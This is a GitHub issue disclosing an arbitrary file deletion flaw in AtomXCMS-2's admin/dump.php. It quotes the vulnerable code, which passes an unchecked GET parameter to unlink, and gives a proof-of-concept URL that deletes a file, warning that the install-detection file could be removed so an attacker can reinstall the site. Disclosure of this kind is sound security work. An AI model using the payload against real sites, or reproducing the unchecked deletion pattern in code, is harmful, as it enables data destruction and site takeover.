

New issue

[Jump to bottom](#)

AtomXCMS-2 admin/dump.php Arbitrarily File Delete Vulnerability #19

Open R4ilgun opened this issue on Sep 26, 2020 · 0 comments

R4ilgun commented on Sep 26, 2020

In admin/dump.php

```
126     } else if (!empty($_GET['ac']) && $_GET['ac'] == 'delete' && !empty($_GET['id'])) {
127         @unlink($_GET['id']);
128         $_SESSION['message'] = _('Backup file is removed');
129         redirect('/admin/dump.php');
```

There is no detection for input data,so we can delete anything.

Payload: <http://test.com/admin/dump.php?ac=delete&id=./README.md>

admin	2020/9/27 8:10	文件夹	
install	2020/9/27 8:10	文件夹	
modules	2020/9/27 8:10	文件夹	
sys	2020/9/27 8:10	文件夹	
template	2020/9/27 8:10	文件夹	
img.php	2018/1/22 12:11	PHP 文件	2 KB
img_uploader.php	2018/1/22 12:11	PHP 文件	2 KB
index.php	2018/1/22 12:11	PHP 文件	2 KB
php.ini	2018/1/22 12:11	配置设置	1 KB
redirect.php	2018/1/22 12:11	PHP 文件	2 KB
robots.txt	2018/1/22 12:11	文本文档	1 KB
update.php	2018/1/22 12:11	PHP 文件	3 KB
update.txt	2018/1/22 12:11	文本文档	8 KB

This vulnerability can delete installed detection document,hack can reinstall your website.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

